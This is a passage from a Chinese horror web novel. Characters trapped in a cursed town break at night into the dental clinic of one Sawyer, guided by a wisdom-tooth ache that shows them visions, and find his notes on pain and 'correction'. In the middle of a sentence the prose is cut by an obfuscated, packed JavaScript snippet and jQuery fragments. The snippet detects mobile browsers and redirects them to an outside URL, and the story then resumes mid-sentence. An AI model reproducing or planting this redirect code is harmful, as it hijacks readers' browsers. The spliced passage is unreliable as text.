旅馆晚上限电，房间里没有电，只有一支蜡烛在摇曳。


    朱志明的呼吸在黑暗中拉得很长，每一次吸气都带着痰音，光听都觉得痛苦。


    然而时间不等人，朱志明再痛苦，该询问的必须要立即问下去。


    “你是不是看到了什么？”


    黄羽翎蹲在朱志明床边，用湿布擦拭他额头的冷汗。


    朱志明的嘴唇在动，发出断断续续的声音：“墙……照片……爸爸……牙齿……”


    “慢慢说，别急。”龙琴书关切地凑过来。


    黄羽翎半天没说话，这会儿开口：“我觉得我们现在就应该去看看，趁现在朱志明刚回来，鬼主可能会掉以轻心，放松警惕。”


    “好，”周笔灰看着墙上的挂钟，“凌晨两点四十七分。按照小镇的‘作息’，这时候所有人应该都在‘睡觉’。如果这个鬼地方的人还需要睡觉的话。”


    “如果他们不需要呢？”顾辉终于开口。


    “那我们就死。”周笔灰说得平静，“但留在这里，等明晚再选一个人去拔牙，也是死。区别在于，是慢慢被拆解，还是赌一把。”


    他展开一张用旅馆便签纸和烧黑的木棍画出的简陋地图。


    诊所的位置在小镇北侧，一栋独立的木结构建筑，后面是一片枯死的灌木丛。


    “后窗。”周笔灰指着地图上的一个点，“朱志明被带进去时，意识还清醒了几秒。他说闻到霉味和消毒水，看到窗户外面的灌木。那是后窗。前门正对街道，太显眼。”


    “你怎么知道后窗能打开？”黄羽翎问。


    “我不知道。”周笔灰收起地图，“但所有这种老式木窗，合页都会锈。如果锈得厉害，用力一撬就能开。如果开不了——”


    他停顿了一下。


    “我们就找别的路。或者回来，先去了再说。”


    房间里沉默了几秒。


    远处传来某种声音——像是金属拖过砂石地，又像是大型动物在喘息。声音持续了十几秒，然后消失，仿佛从未存在过。


    “我和你去。”黄羽翎站起来。她右脸颊的智齿还在隐隐作痛，随着心跳一下下搏动。


    “我也去。”叶温缇离开窗边，“你需要有人望风。我的眼睛在黑暗里适应得快。”


    周笔灰点头：“龙琴书，你留下照顾朱志明。郑琳达，顾辉，你们负责警戒。如果天亮前我们没回来——”


    “我们会去找你们。”龙琴书打断他。


    “不。”周笔灰看着她，“你们锁好门，想办法活下去。去找那颗牙。”


    “什么牙？”


    “索耶的牙。”周笔灰强调，“朱志明最后说的那个词，不是‘爸爸’，是‘牙齿’。他说‘爸爸的牙齿’。我猜错了。不是他父亲的照片，是他父亲的牙齿。或者，是索耶自己的牙齿。”


    黄羽翎的智齿突然剧烈地疼了一下。那一瞬间，她眼前的烛光分裂成两重——一重是温暖的橙黄，另一重是冰冷的、带着血色的暗红。墙上的影子蠕动得更快了。


    “我的智齿又疼了。”她低声说，“我感觉……它在告诉我们方向。”


    说着，大家紧急出门。


    外面，街道像一条死去的河流。


    月光被薄云过滤，洒下来的光苍白无力，勉强勾勒出两旁房屋的轮廓。


    所有的窗户都是黑的，但黄羽翎有种感觉——那些窗户后面有东西，不是人在睡觉，是某种更静止、更长久的东西在等待。


    三人的脚步声在土路上吸收，几乎听不见。


    周笔灰走在最前，手里拿着一根从旅馆床架上拆下来的铁条。


    叶温缇在中间，她的眼睛已经适应了黑暗，能看清十米外门廊上摇椅的轮廓。


    黄羽翎殿后，她的右手一直按在右脸颊上，用压力对抗那种一阵阵袭来的、钻心的痛。


    他们经过白天看到男孩烧蚂蚁窝的加油站，此刻加油站一片漆黑，但油泵旁边蹲着一个黑影。


    黑影在动。


    周笔灰举起手，三人同时蹲下，藏在路边的枯草丛后。


    黑影站起来，是那个十岁男孩。他手里拿着一个玻璃罐，罐子里有什么东西在扑腾。男孩把罐子倒过来，扣在地上，然后用脚踩上去。


    轻微的、密集的碎裂声。


    男孩蹲下，从玻璃渣里捡起什么，放进嘴里，咀嚼声在寂静中清晰得可怕。


    黄羽翎的智齿疼得她眼前发黑。


    在那一瞬间的重影里，她看到男孩脚下不是昆虫，是缩小了数倍、还在挣扎的——


    她闭上眼睛，再睁开。重影消失。男孩舔了舔手指，转身走进加油站后面的小屋，关上了门。


    “走。”周笔灰说。


    他们加快脚步。


    黄羽翎口中智齿的疼痛成了某种导航，越靠近诊所，疼痛越剧烈，视野里重影出现的频率越高。


    那些重影展示着这个小镇的另一副面孔：墙壁上的血迹没有被粉刷掩盖，门廊上挂着的不是风铃而是用细铁丝串起的指骨，路边的水沟里漂浮着粘稠的、反着月光的东西。


    “就在前面。”叶温缇低声说。


    诊所是一栋两层木屋，比周围的房子稍大些。


    前门上方挂着一块褪色的招牌：“H.Sawyer,DDS——牙科与口腔外科”。招牌的一角耷拉下来，随着夜风轻轻敲打着墙面，发出规律的、令人不安的嗒嗒声。


    他们绕到屋后。


    后窗比想象中高，窗台下堆着一些腐烂的木板和空罐子。


    周笔灰踩上木板，木板发出不堪重负的呻吟，但没有断裂。


    窗是旧式的上下推拉窗，外面有纱窗，但纱窗已经破了大洞。


    周笔灰把铁条插进窗框缝隙，用力一撬。


    木头发出刺耳的嘎吱声，但窗户没动。


    “锈死了。”叶温缇说。


    周笔灰换了个角度，这次把铁条插进窗扇与窗框的接缝，用全身重量压下去。


    咔嚓。


    几秒钟后，他的声音从里面传来，压得很低：“安全。进来。”


    叶温缇第二个进去。


    黄羽翎最后。


    当她挤过窗户时，右脸颊的智齿突然爆发出一阵剧痛，疼得她差点叫出声。那一瞬间，她看到的不是黑暗的房间，而是一个明亮得过分的空间——


    ——荧光灯刺眼的白光。


    ——不锈钢器械盘反射的光斑。


    ——墙上挂着的一张巨大的、牙齿的X光片。


    ——一个背对着她的白大褂身影，手里拿着钻头，正在哼歌。


    然后景象消失。


    她跌进黑暗中，被周笔灰扶住。


    “你看到了？”他问。


    黄羽翎点头，说不出话，疼痛还在持续，像有根烧红的针从牙根一直扎进脑髓。


    周笔灰松开她，点燃了一小截蜡烛，他从旅馆带出来的，用铁皮罐头底做的小烛台。


    烛光照亮了他们所在的空间。


    这是一个储藏室。


    架子上堆着成箱的纱布、玻璃瓶装的药水（标签已经褪色）、还有一堆生锈的器械。


    空气里弥漫着复杂的味道：消毒水、霉斑、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386948|177457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    某种甜腻的腐臭，还有一种金属的腥气。


    门虚掩着。周笔灰轻轻推开。


    外面是候诊室。


    烛光在这里显得更加微弱。


    房间比想象中大，摆着四张破旧的绒面沙发，一张矮茶几上散落着杂志。


    周笔灰拿起一本——《生活》，1972年6月刊。封面是一个笑容灿烂的家庭，每个人的牙齿都白得反光。


    他翻开内页，所有的牙齿都被墨水涂黑了。


    每一页，只要有照片，有笑脸，牙齿就会被仔细地涂黑。有些涂得粗暴，墨水洇开了；有些涂得很精细，只涂牙齿部分，不碰嘴唇。


    面对此等诡异情况，三人默契地互相望了望。


    黄羽翎走到墙边。


    墙上挂着几张证书——汉克·索耶的牙科医师执照、某牙科学会的会员证、还有一张“寂静谷年度杰出服务奖”，日期是1968年。


    证书的玻璃框很干净，一尘不染，但框的边缘，木质部分，有一些深深的划痕。像是有人用指甲反复抓挠留下的。


    候诊室另一头有两扇门。一扇门上挂着“诊疗室”的牌子，另一扇门没有牌子，但门把手明显磨损得更厉害，金属部分被手汗浸出了深色的包浆。


    周笔灰走向诊疗室。门没锁。


    他推开门。


    烛光照进去的瞬间，三个人都僵住了。


    不是因为看到了什么特别恐怖的东西，恰恰相反，房间整齐得诡异。


    牙医椅摆在正中央，皮革坐垫虽然老旧，但擦得很干净。


    器械台在一旁，各种钳子、凿子、探针、口镜排列得一丝不苟，在烛光下泛着冷冽的光。


    但空气里的味道更浓了。


    消毒水味几乎盖不住底下那股甜腻的腐臭，仿佛有什么东西在墙壁里、在地板下缓慢地腐烂。


    周笔灰走到器械台前，他拿起一把拔牙钳。钳子的咬合端有一些暗褐色的沉积物，嵌在螺纹里，刷不掉。


    “看看这些药。”叶温缇说。她指着台子上的一个抽屉。抽屉拉开一半，里面是几个小玻璃瓶，标签上写着“利多卡因”，但瓶子都是空的。


    “他不用麻药？”黄羽翎的声音在颤抖。她的智齿又开始疼，重影闪现：她看到牙医椅上绑着一个人，嘴巴被器械撑开，眼球凸出，喉咙里发出窒息的咯咯声，然后景象消失。


    “找找看。”周笔灰放下钳子，“日记、病历、任何能告诉我们他是什么的东西。”


    他们分头搜索。


    诊疗室的书架上大多是医学书籍——《口腔外科学》《牙体牙髓病学》《局部麻醉技术》。但每本书里都夹着纸条，纸条上写满了密密麻麻的批注。


    周笔灰抽出一本《人类牙齿演化史》。书里夹着一沓泛黄的纸，是手写的笔记。


    “智齿——第三磨牙——是人类进化失败的产物。颌骨缩小，但牙齿数量未相应减少，导致拥挤、错位、龋坏、疼痛。它是多余的。它是错误的。”


    笔记的笔迹工整，甚至可以说优美。


    “疼痛是身体的警报系统，但警报系统本身可能出错。当警报持续不断，当疼痛成为常态，系统就失去了意义。必须关闭警报。必须切除病灶。”


    翻页。


    “父亲说：疼痛是纪律。如果你感到疼痛，说明你做错了。矫正错误，疼痛就会停止。”


    “父亲是对的。”


    “但父亲的矫正方式太……粗糙。他用手，用随手的工具。没有消毒，没有解剖学依据。他是对的，但方法错了。”


    “我需要更好的方法。”